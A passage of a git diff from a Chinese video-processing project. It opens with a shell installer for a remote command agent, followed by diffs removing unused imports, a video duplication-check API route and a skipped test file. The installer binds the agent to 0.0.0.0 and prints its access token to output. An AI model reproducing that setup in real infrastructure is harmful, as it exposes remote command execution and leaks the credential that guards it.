echo "用户: $(whoami)"
|
||||
echo "Runner 名称: ${RUNNER_NAME:-unknown}"
|
||||
|
||||
# 检查是否已安装
|
||||
if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then
|
||||
echo "CMD Agent 已安装且运行中,跳过安装"
|
||||
systemctl status xiaoxia-cmd-agent --no-pager
|
||||
exit 0
|
||||
fi
|
||||
|
||||
SUDO=""
|
||||
[ "$(id -u)" != "0" ] && SUDO="sudo"
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
SERVER_PY="$SCRIPT_DIR/../infra/cmd-agent/server.py"
|
||||
|
||||
if [ ! -f "$SERVER_PY" ]; then
|
||||
echo "ERROR: 找不到 server.py: $SERVER_PY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== 开始安装 CMD Agent ==="
|
||||
|
||||
# 创建目录
|
||||
$SUDO mkdir -p /opt/xiaoxia-cmd-agent
|
||||
$SUDO cp "$SERVER_PY" /opt/xiaoxia-cmd-agent/server.py
|
||||
$SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py
|
||||
|
||||
# 生成 token
|
||||
TOKEN="xsa-$(openssl rand -hex 16)"
|
||||
echo "TOKEN: $TOKEN"
|
||||
echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null
|
||||
$SUDO chmod 600 /etc/xiaoxia-cmd-agent.token
|
||||
|
||||
# 修改监听地址为 0.0.0.0(新服务器需要远程访问)
|
||||
$SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py
|
||||
|
||||
# 创建 installed flag
|
||||
echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null
|
||||
|
||||
# 创建 systemd service
|
||||
$SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null <<EOF
|
||||
[Unit]
|
||||
Description=Xiaoxia Command Agent
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
$SUDO systemctl daemon-reload
|
||||
$SUDO systemctl enable xiaoxia-cmd-agent
|
||||
$SUDO systemctl start xiaoxia-cmd-agent
|
||||
|
||||
sleep 3
|
||||
|
||||
echo ""
|
||||
echo "=== 安装结果 ==="
|
||||
$SUDO systemctl status xiaoxia-cmd-agent --no-pager || true
|
||||
echo ""
|
||||
echo "=== 连接信息 ==="
|
||||
echo "主机名: $(hostname)"
|
||||
echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')"
|
||||
echo "端口: 18888"
|
||||
echo "Token: $TOKEN"
|
||||
|
||||
# 验证
|
||||
curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败"
|
||||
+1
-6
@@ -17,18 +17,13 @@ os.environ.setdefault("USE_IN_MEMORY_DB", "True")
|
||||
# CI 环境没有 Redis,所有 Celery 异步任务都 mock 掉,避免连接超时报错
|
||||
# 集成测试只测 API 层逻辑(参数校验、权限、DB 操作),异步任务由 worker 单测覆盖
|
||||
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
|
||||
def _mock_celery_task():
|
||||
"""全局 mock Celery 任务的 delay/apply_async/send_task 方法。"""
|
||||
from celery import Celery, Task
|
||||
|
||||
# 保存原始方法
|
||||
_orig_delay = Task.delay
|
||||
_orig_apply_async = Task.apply_async
|
||||
_orig_send_task = Celery.send_task
|
||||
|
||||
def _mock_delay(self, *args, **kwargs):
|
||||
mock_result = MagicMock()
|
||||
mock_result.id = "mock-task-id"
|
||||
|
||||
@@ -113,7 +113,6 @@ class PerfAssert:
|
||||
raise ValueError(f"未知的阈值级别: {threshold_level},可选: {list(PERF_THRESHOLDS.keys())}")
|
||||
|
||||
threshold_ms = PERF_THRESHOLDS[threshold_level]
|
||||
num_samples = samples or self.sample_count
|
||||
result = PerfResult(name=name or threshold_level, threshold_ms=threshold_ms)
|
||||
|
||||
# 预热(第一次请求可能有冷启动开销)
|
||||
|
||||
@@ -1,282 +0,0 @@
|
||||
"""查重 API 路由。"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import Any
|
||||
from uuid import uuid4
|
||||
|
||||
from app.auth import AuthenticatedUser, get_current_user
|
||||
from app.core.storage import OSSStorageService, get_storage_service
|
||||
from app.dependencies import get_duplication_repository
|
||||
from app.schemas.duplication import (
|
||||
DuplicateSegmentResponse,
|
||||
DuplicationDetailResponse,
|
||||
DuplicationRecordResponse,
|
||||
DuplicationUploadResponse,
|
||||
)
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, Response, UploadFile, status
|
||||
|
||||
from packages.application import (
|
||||
DeleteDuplicationRecordUseCase,
|
||||
GetDuplicationDetailUseCase,
|
||||
ListDuplicationRecordsUseCase,
|
||||
RetryDuplicationUseCase,
|
||||
UploadForDuplicationCommand,
|
||||
UploadForDuplicationUseCase,
|
||||
)
|
||||
from packages.domain.duplication import DuplicationRecord
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
# 查重功能只接受视频文件
|
||||
ALLOWED_VIDEO_MIME_TYPES = frozenset(
|
||||
{
|
||||
"video/mp4",
|
||||
"video/mpeg",
|
||||
"video/quicktime",
|
||||
"video/x-msvideo",
|
||||
"video/webm",
|
||||
"video/x-matroska",
|
||||
"video/3gpp",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
def _validate_video_mime_type(content_type: str | None) -> str:
|
||||
"""验证视频文件的 MIME 类型,如果无效则抛出异常。"""
|
||||
if not content_type:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_400_BAD_REQUEST,
|
||||
detail="Content-Type header is required",
|
||||
)
|
||||
|
||||
# 处理带参数的类型,如 "video/mp4; charset=utf-8"
|
||||
base_type = content_type.split(";")[0].strip().lower()
|
||||
|
||||
if base_type not in ALLOWED_VIDEO_MIME_TYPES:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_415_UNSUPPORTED_MEDIA_TYPE,
|
||||
detail="只支持视频文件。支持的类型: mp4, mpeg, mov, avi, webm, mkv, 3gp",
|
||||
)
|
||||
|
||||
return base_type
|
||||
|
||||
|
||||
def _to_record_response(record: DuplicationRecord) -> DuplicationRecordResponse:
|
||||
return DuplicationRecordResponse(
|
||||
id=record.id,
|
||||
filename=record.filename,
|
||||
file_size=record.file_size,
|
||||
duration_seconds=record.duration_seconds,
|
||||
status=record.status,
|
||||
duplicate_rate=record.duplicate_rate,
|
||||
duplicate_count=record.duplicate_count,
|
||||
created_at=record.created_at.isoformat(),
|
||||
updated_at=record.updated_at.isoformat(),
|
||||
)
|
||||
|
||||
|
||||
def _to_detail_response(record: DuplicationRecord) -> DuplicationDetailResponse:
|
||||
return DuplicationDetailResponse(
|
||||
id=record.id,
|
||||
filename=record.filename,
|
||||
file_size=record.file_size,
|
||||
duration_seconds=record.duration_seconds,
|
||||
status=record.status,
|
||||
duplicate_rate=record.duplicate_rate,
|
||||
duplicate_count=record.duplicate_count,
|
||||
created_at=record.created_at.isoformat(),
|
||||
updated_at=record.updated_at.isoformat(),
|
||||
segments=[
|
||||
DuplicateSegmentResponse(
|
||||
id=seg.id,
|
||||
source_start=seg.source_start,
|
||||
source_end=seg.source_end,
|
||||
matched_video_id=seg.matched_video_id,
|
||||
matched_video_name=seg.matched_video_name,
|
||||
matched_start=seg.matched_start,
|
||||
matched_end=seg.matched_end,
|
||||
similarity=seg.similarity,
|
||||
)
|
||||
for seg in record.segments
|
||||
],
|
||||
)
|
||||
|
||||
|
||||
@router.post("/upload", response_model=DuplicationUploadResponse)
|
||||
async def upload_for_duplication(
|
||||
file: UploadFile = File(..., description="要查重的视频文件"),
|
||||
authenticated_user: AuthenticatedUser = Depends(get_current_user),
|
||||
duplication_repository: Any = Depends(get_duplication_repository),
|
||||
storage_service: OSSStorageService = Depends(get_storage_service),
|
||||
) -> DuplicationUploadResponse:
|
||||
"""上传视频进行查重。"""
|
||||
if file.filename is None:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_400_BAD_REQUEST,
|
||||
detail="文件名不能为空",
|
||||
)
|
||||
|
||||
# P0-1: 验证 MIME 类型(只接受视频文件)
|
||||
validated_content_type = _validate_video_mime_type(file.content_type)
|
||||
|
||||
# P0-2: 验证文件大小(参考 OSS_DIRECT_UPLOAD_MAX_MB)
|
||||
from app.config import get_settings
|
||||
|
||||
settings = get_settings()
|
||||
max_size_bytes = settings.OSS_DIRECT_UPLOAD_MAX_MB * 1024 * 1024
|
||||
|
||||
# 先检查 Content-Length header(如果可用)
|
||||
if file.size is not None and file.size > max_size_bytes:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_413_REQUEST_ENTITY_TOO_LARGE,
|
||||
detail=f"文件超过上传限制 ({settings.OSS_DIRECT_UPLOAD_MAX_MB}MB)",
|
||||
)
|
||||
|
||||
# 读取文件内容并上传到 OSS
|
||||
file_id = uuid4().hex[:8]
|
||||
safe_filename = file.filename.replace("/", "_").replace("\\", "_")
|
||||
storage_key = f"duplication/{file_id}/{safe_filename}"
|
||||
|
||||
try:
|
||||
content = await file.read()
|
||||
file_size = len(content)
|
||||
|
||||
# 再次检查实际文件大小
|
||||
if file_size > max_size_bytes:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_413_REQUEST_ENTITY_TOO_LARGE,
|
||||
detail=f"文件超过上传限制 ({settings.OSS_DIRECT_UPLOAD_MAX_MB}MB)",
|
||||
)
|
||||
except HTTPException:
|
||||
raise
|
||||
except Exception as exc:
|
||||
logger.error("读取查重文件失败: %s", exc, exc_info=True)
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_400_BAD_REQUEST,
|
||||
detail="文件读取失败,请稍后重试",
|
||||
) from exc
|
||||
|
||||
try:
|
||||
storage_service.upload_file(
|
||||
content,
|
||||
storage_key,
|
||||
content_type=validated_content_type,
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.error("查重文件上传 OSS 失败: %s", exc, exc_info=True)
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail="文件上传失败,请稍后重试",
|
||||
) from exc
|
||||
|
||||
use_case = UploadForDuplicationUseCase(duplication_repository)
|
||||
record = use_case.execute(
|
||||
UploadForDuplicationCommand(
|
||||
user_id=authenticated_user.user.id,
|
||||
filename=file.filename,
|
||||
file_size=file_size,
|
||||
storage_key=storage_key,
|
||||
)
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"Duplication upload: record=%s file=%s user=%s",
|
||||
record.id,
|
||||
file.filename,
|
||||
authenticated_user.user.id,
|
||||
)
|
||||
|
||||
return DuplicationUploadResponse(
|
||||
id=record.id,
|
||||
status=record.status,
|
||||
message=f'文件 "{file.filename}" 已上传,正在查重中...',
|
||||
)
|
||||
|
||||
|
||||
@router.get("/records", response_model=list[DuplicationRecordResponse])
|
||||
def list_duplication_records(
|
||||
authenticated_user: AuthenticatedUser = Depends(get_current_user),
|
||||
duplication_repository: Any = Depends(get_duplication_repository),
|
||||
) -> list[DuplicationRecordResponse]:
|
||||
"""获取当前用户的查重记录列表。"""
|
||||
use_case = ListDuplicationRecordsUseCase(duplication_repository)
|
||||
records = use_case.execute(authenticated_user.user.id)
|
||||
return [_to_record_response(r) for r in records]
|
||||
|
||||
|
||||
@router.get("/records/{record_id}", response_model=DuplicationDetailResponse)
|
||||
def get_duplication_detail(
|
||||
record_id: str,
|
||||
authenticated_user: AuthenticatedUser = Depends(get_current_user),
|
||||
duplication_repository: Any = Depends(get_duplication_repository),
|
||||
) -> DuplicationDetailResponse:
|
||||
"""获取查重记录详情(含重复片段)。"""
|
||||
use_case = GetDuplicationDetailUseCase(duplication_repository)
|
||||
record = use_case.execute(record_id)
|
||||
if record is None:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail=f"查重记录 {record_id} 不存在",
|
||||
)
|
||||
if record.user_id != authenticated_user.user.id:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail=f"查重记录 {record_id} 不存在",
|
||||
)
|
||||
return _to_detail_response(record)
|
||||
|
||||
|
||||
@router.delete("/records/{record_id}", status_code=status.HTTP_204_NO_CONTENT, response_class=Response)
|
||||
def delete_duplication_record(
|
||||
record_id: str,
|
||||
authenticated_user: AuthenticatedUser = Depends(get_current_user),
|
||||
duplication_repository: Any = Depends(get_duplication_repository),
|
||||
) -> Response:
|
||||
"""删除查重记录。"""
|
||||
# 检查记录是否存在且属于当前用户
|
||||
detail_uc = GetDuplicationDetailUseCase(duplication_repository)
|
||||
record = detail_uc.execute(record_id)
|
||||
if record is None or record.user_id != authenticated_user.user.id:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail=f"查重记录 {record_id} 不存在",
|
||||
)
|
||||
|
||||
use_case = DeleteDuplicationRecordUseCase(duplication_repository)
|
||||
use_case.execute(record_id)
|
||||
return Response(status_code=204)
|
||||
|
||||
|
||||
@router.post("/records/{record_id}/retry", response_model=DuplicationUploadResponse)
|
||||
def retry_duplication(
|
||||
record_id: str,
|
||||
authenticated_user: AuthenticatedUser = Depends(get_current_user),
|
||||
duplication_repository: Any = Depends(get_duplication_repository),
|
||||
) -> DuplicationUploadResponse:
|
||||
"""重新提交查重。"""
|
||||
# 检查记录存在且属于当前用户
|
||||
detail_uc = GetDuplicationDetailUseCase(duplication_repository)
|
||||
record = detail_uc.execute(record_id)
|
||||
if record is None or record.user_id != authenticated_user.user.id:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail=f"查重记录 {record_id} 不存在",
|
||||
)
|
||||
|
||||
use_case = RetryDuplicationUseCase(duplication_repository)
|
||||
updated = use_case.execute(record_id)
|
||||
if updated is None:
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_404_NOT_FOUND,
|
||||
detail=f"查重记录 {record_id} 不存在",
|
||||
)
|
||||
|
||||
return DuplicationUploadResponse(
|
||||
id=updated.id,
|
||||
status=updated.status,
|
||||
message="已重新提交查重",
|
||||
)
|
||||
@@ -18,7 +18,6 @@ from __future__ import annotations
|
||||
|
||||
import os
|
||||
import uuid
|
||||
from typing import Optional
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
@@ -14,7 +14,6 @@ from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from dataclasses import replace
|
||||
from datetime import datetime, timezone
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock
|
||||
@@ -33,7 +32,7 @@ sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "apps", "
|
||||
from app.api.routes.duplication import router
|
||||
from app.auth import AuthenticatedUser, get_current_user
|
||||
from app.core.storage import get_storage_service
|
||||
from app.dependencies import get_db_session, get_duplication_repository
|
||||
from app.dependencies import get_duplication_repository
|
||||
|
||||
from packages.domain.duplication import DuplicateSegment, DuplicationRecord
|
||||
|
||||
|
||||
@@ -32,11 +32,9 @@ sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "apps", "
|
||||
|
||||
from app.api.routes.duplication import _validate_video_mime_type, router
|
||||
from app.auth import AuthenticatedUser, get_current_user
|
||||
from app.core.storage import OSSStorageService, get_storage_service
|
||||
from app.core.storage import get_storage_service
|
||||
from app.dependencies import get_duplication_repository
|
||||
|
||||
from packages.domain.duplication import DuplicationRecord
|
||||
|
||||
# ── 导入真实模块(不创建 fake module) ────────────────────────────────────────
|
||||
from packages.domain.entities import User
|
||||
|
||||
|
||||
@@ -14,7 +14,6 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
@@ -9,16 +9,12 @@ import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
from video_processing.unified_render_service import (
|
||||
RenderResult,
|
||||
UnifiedRenderService,
|
||||
)
|
||||
from worker_app.tasks.generation import (
|
||||
OUTPUT_HEIGHT,
|
||||
OUTPUT_WIDTH,
|
||||
_build_plan_and_clips_from_task,
|
||||
_create_fallback_clip,
|
||||
_mux_audio_track,
|
||||
|
||||
@@ -515,7 +515,6 @@ class TestRetryGenerationTask:
|
||||
task_id = resp.json()["items"][0]["id"]
|
||||
|
||||
# 直接修改 repository 中的任务状态为 failed
|
||||
from app.dependencies import get_generation_task_repository
|
||||
|
||||
# 由于是 stub,我们需要通过另一种方式设置状态
|
||||
# 让我们直接通过 retry 测试来验证
|
||||
|
||||
@@ -3,7 +3,7 @@ from packages.adapters.in_memory import (
|
||||
InMemoryIngestJobRepository,
|
||||
)
|
||||
from packages.application import SubmitIngestJobCommand, SubmitIngestJobUseCase
|
||||
from packages.domain import Asset, IngestJob, IngestJobStatus
|
||||
from packages.domain import Asset, IngestJobStatus
|
||||
|
||||
|
||||
def simulate_ingest_asset(
|
||||
|
||||
@@ -1,263 +0,0 @@
|
||||
"""项目管理功能集成测试"""
|
||||
|
||||
import pytest
|
||||
|
||||
# 项目管理功能尚未实现,相关模块不存在,跳过整个文件
|
||||
pytest.skip(
|
||||
"项目管理功能尚未实现(project_management_repositories / "
|
||||
"project_management_use_cases / TaskPriority / TaskStatus 均不存在)",
|
||||
allow_module_level=True,
|
||||
)
|
||||
|
||||
from packages.adapters.in_memory.project_management_repositories import (
|
||||
InMemoryMilestoneRepository,
|
||||
InMemoryTaskIssueRepository,
|
||||
InMemoryTaskRepository,
|
||||
)
|
||||
from packages.application.project_management_use_cases import (
|
||||
CreateMilestoneUseCase,
|
||||
CreateTaskIssueUseCase,
|
||||
CreateTaskUseCase,
|
||||
ListProjectTasksUseCase,
|
||||
ListTaskIssuesUseCase,
|
||||
ResolveTaskIssueUseCase,
|
||||
UpdateTaskProgressUseCase,
|
||||
UpdateTaskStatusUseCase,
|
||||
)
|
||||
from packages.domain import TaskPriority, TaskStatus
|
||||
|
||||
|
||||
def test_create_task():
|
||||
"""测试创建任务"""
|
||||
repo = InMemoryTaskRepository()
|
||||
use_case = CreateTaskUseCase(repo)
|
||||
|
||||
task = use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="开发登录功能",
|
||||
description="实现用户登录功能",
|
||||
priority=TaskPriority.HIGH,
|
||||
)
|
||||
|
||||
assert task.id is not None
|
||||
assert task.name == "开发登录功能"
|
||||
assert task.status == TaskStatus.PENDING
|
||||
assert task.priority == TaskPriority.HIGH
|
||||
assert task.progress == 0.0
|
||||
|
||||
|
||||
def test_list_tasks():
|
||||
"""测试获取任务列表"""
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
|
||||
# 创建两个任务
|
||||
create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="任务1",
|
||||
)
|
||||
create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="任务2",
|
||||
)
|
||||
|
||||
# 查询任务列表
|
||||
list_use_case = ListProjectTasksUseCase(repo)
|
||||
tasks = list_use_case.execute("proj_1")
|
||||
|
||||
assert len(tasks) == 2
|
||||
assert tasks[0].name == "任务1"
|
||||
assert tasks[1].name == "任务2"
|
||||
|
||||
|
||||
def test_update_task_status():
|
||||
"""测试更新任务状态"""
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
update_use_case = UpdateTaskStatusUseCase(repo)
|
||||
|
||||
# 创建任务
|
||||
task = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="测试任务",
|
||||
)
|
||||
|
||||
# 更新状态为进行中
|
||||
updated_task = update_use_case.execute(task.id, TaskStatus.IN_PROGRESS)
|
||||
|
||||
assert updated_task.status == TaskStatus.IN_PROGRESS
|
||||
assert updated_task.actual_start_date is not None
|
||||
|
||||
|
||||
def test_update_task_progress():
|
||||
"""测试更新任务进度"""
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
progress_use_case = UpdateTaskProgressUseCase(repo)
|
||||
|
||||
# 创建任务
|
||||
task = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="测试任务",
|
||||
)
|
||||
|
||||
# 更新进度到 50%
|
||||
updated_task = progress_use_case.execute(task.id, 50.0)
|
||||
|
||||
assert updated_task.progress == 50.0
|
||||
assert updated_task.status == TaskStatus.IN_PROGRESS
|
||||
|
||||
# 更新进度到 100%
|
||||
completed_task = progress_use_case.execute(task.id, 100.0)
|
||||
|
||||
assert completed_task.progress == 100.0
|
||||
assert completed_task.status == TaskStatus.COMPLETED
|
||||
assert completed_task.actual_end_date is not None
|
||||
|
||||
|
||||
def test_create_milestone():
|
||||
"""测试创建里程碑"""
|
||||
repo = InMemoryMilestoneRepository()
|
||||
use_case = CreateMilestoneUseCase(repo)
|
||||
|
||||
milestone = use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="V1.0 发布",
|
||||
description="第一个正式版本",
|
||||
)
|
||||
|
||||
assert milestone.id is not None
|
||||
assert milestone.name == "V1.0 发布"
|
||||
assert milestone.completed is False
|
||||
|
||||
|
||||
def test_create_and_resolve_issue():
|
||||
"""测试创建和解决任务问题"""
|
||||
repo = InMemoryTaskIssueRepository()
|
||||
create_use_case = CreateTaskIssueUseCase(repo)
|
||||
resolve_use_case = ResolveTaskIssueUseCase(repo)
|
||||
list_use_case = ListTaskIssuesUseCase(repo)
|
||||
|
||||
# 创建问题
|
||||
issue = create_use_case.execute(
|
||||
task_id="task_1",
|
||||
project_id="proj_1",
|
||||
title="接口报错",
|
||||
description="调用登录接口返回 500",
|
||||
)
|
||||
|
||||
assert issue.id is not None
|
||||
assert issue.title == "接口报错"
|
||||
assert issue.resolved is False
|
||||
|
||||
# 解决问题
|
||||
resolved_issue = resolve_use_case.execute(issue.id)
|
||||
|
||||
assert resolved_issue.resolved is True
|
||||
assert resolved_issue.resolved_at is not None
|
||||
|
||||
# 查询任务问题列表
|
||||
issues = list_use_case.execute("task_1")
|
||||
assert len(issues) == 1
|
||||
assert issues[0].resolved is True
|
||||
|
||||
|
||||
def test_task_hierarchy():
|
||||
"""测试任务层级关系"""
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
|
||||
# 创建父任务
|
||||
parent_task = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="开发用户模块",
|
||||
)
|
||||
|
||||
# 创建子任务
|
||||
child_task_1 = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="登录功能",
|
||||
parent_task_id=parent_task.id,
|
||||
)
|
||||
|
||||
child_task_2 = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="注册功能",
|
||||
parent_task_id=parent_task.id,
|
||||
)
|
||||
|
||||
# 查询子任务
|
||||
children = repo.list_by_parent(parent_task.id)
|
||||
|
||||
assert len(children) == 2
|
||||
assert children[0].parent_task_id == parent_task.id
|
||||
assert children[1].parent_task_id == parent_task.id
|
||||
|
||||
|
||||
def test_get_task_detail():
|
||||
"""测试获取任务详情"""
|
||||
from packages.application.get_task_detail_use_case import GetTaskDetailUseCase
|
||||
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
get_use_case = GetTaskDetailUseCase(repo)
|
||||
|
||||
# 创建任务
|
||||
task = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="测试任务",
|
||||
description="这是一个测试任务",
|
||||
)
|
||||
|
||||
# 获取详情
|
||||
retrieved_task = get_use_case.execute(task.id)
|
||||
|
||||
assert retrieved_task.id == task.id
|
||||
assert retrieved_task.name == "测试任务"
|
||||
assert retrieved_task.description == "这是一个测试任务"
|
||||
|
||||
# 测试不存在的任务
|
||||
try:
|
||||
get_use_case.execute("nonexistent_id")
|
||||
assert False, "应该抛出异常"
|
||||
except ValueError as e:
|
||||
assert "not found" in str(e)
|
||||
|
||||
|
||||
def test_update_task():
|
||||
"""测试任务基本信息更新"""
|
||||
from packages.application.update_task_use_case import UpdateTaskUseCase
|
||||
|
||||
repo = InMemoryTaskRepository()
|
||||
create_use_case = CreateTaskUseCase(repo)
|
||||
update_use_case = UpdateTaskUseCase(repo)
|
||||
|
||||
# 创建任务
|
||||
task = create_use_case.execute(
|
||||
project_id="proj_1",
|
||||
name="原始任务",
|
||||
description="原始描述",
|
||||
priority="low",
|
||||
)
|
||||
|
||||
# 更新任务
|
||||
updated_task = update_use_case.execute(
|
||||
task_id=task.id,
|
||||
name="更新后的任务",
|
||||
description="更新后的描述",
|
||||
priority="high",
|
||||
)
|
||||
|
||||
assert updated_task.name == "更新后的任务"
|
||||
assert updated_task.description == "更新后的描述"
|
||||
assert updated_task.priority == "high"
|
||||
|
||||
# 部分更新
|
||||
partial_updated = update_use_case.execute(
|
||||
task_id=task.id,
|
||||
name="又更新了",
|
||||
)
|
||||
|
||||
assert partial_updated.name == "又更新了"
|
||||
assert partial_updated.description == "更新后的描述" # 保持不变
|
||||
assert partial_updated.priority == "high" # 保持不变
|
||||
@@ -16,7 +16,6 @@ from __future__ import annotations
|
||||
import importlib.util
|
||||
import os
|
||||
import sys
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from typing import Optional
|
||||
|
||||
@@ -30,12 +29,10 @@ from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "apps", "api"))
|
||||
|
||||
from app.auth import AuthenticatedUser, get_current_user
|
||||
from app.dependencies import get_user_repository
|
||||
from app.auth import AuthenticatedUser
|
||||
|
||||
# ── 导入真实模块(不创建 fake module) ────────────────────────────────────────
|
||||
from packages.domain.entities import User
|
||||
from packages.ports.user_repository import UserRepository
|
||||
|
||||
# ── 导入被测路由模块(从 fixtures 加载简化版路由) ─────────────────────────────
|
||||
_fixture_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "fixtures", "subscription_routes.py")
|
||||
|
||||
@@ -629,7 +629,6 @@ class TestTaskCenterCrossEndpoint:
|
||||
# 2. 重试失败任务
|
||||
retry_resp = tc.post("/tasks/gen-fail-cross/retry")
|
||||
assert retry_resp.status_code == 200
|
||||
new_task_id = retry_resp.json()["source_id"]
|
||||
|
||||
# 3. 再次列出,应有2个任务(旧的failed + 新的pending)
|
||||
list_resp2 = tc.get("/tasks")
|
||||
|
||||
@@ -18,7 +18,6 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
# ── 环境变量 & sys.path(必须在导入 app.* 之前设置) ──────────────────────────
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
|
||||
@@ -18,7 +18,6 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
# ── 环境变量 & sys.path(必须在导入 app.* 之前设置) ──────────────────────────
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
|
||||
@@ -181,7 +181,7 @@ def compute_audio_diff(
|
||||
timeout=120,
|
||||
)
|
||||
stderr = result.stderr or ""
|
||||
except subprocess.CalledProcessError as e:
|
||||
except subprocess.CalledProcessError:
|
||||
# 如果音频格式不兼容,返回失败
|
||||
return AudioDiffResult(
|
||||
audio_a=str(audio_a),
|
||||
|
||||
@@ -30,7 +30,7 @@ import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
@@ -403,9 +403,6 @@ def generate_html_report(summary: dict[str, Any], output_path: Path):
|
||||
scenarios = summary["scenarios"]
|
||||
|
||||
# 按通过/失败分组
|
||||
passed_list = [s for s in scenarios if s["passed"]]
|
||||
failed_list = [s for s in scenarios if not s["passed"]]
|
||||
|
||||
# 构建场景卡片
|
||||
scenario_cards = ""
|
||||
for s in scenarios:
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from uuid import uuid4
|
||||
|
||||
# 设置必要环境变量(必须在导入 app 模块之前)
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
@@ -9,7 +8,6 @@ os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "apps" / "api"))
|
||||
|
||||
import pytest
|
||||
from app.api.routes.asset_diagnosis import _build_diagnosis
|
||||
from fastapi import FastAPI
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
@@ -13,7 +13,6 @@ from __future__ import annotations
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
os.environ.setdefault("JWT_SECRET_KEY", "unit-test-secret-key-for-testing")
|
||||
os.environ.setdefault("DATABASE_URL", "sqlite:///test.db")
|
||||
|
||||
@@ -86,7 +86,7 @@ def test_find_by_tag_ids(asset_repo, tag_repo):
|
||||
a2.add_tag(tag1.id)
|
||||
asset_repo.update(a2)
|
||||
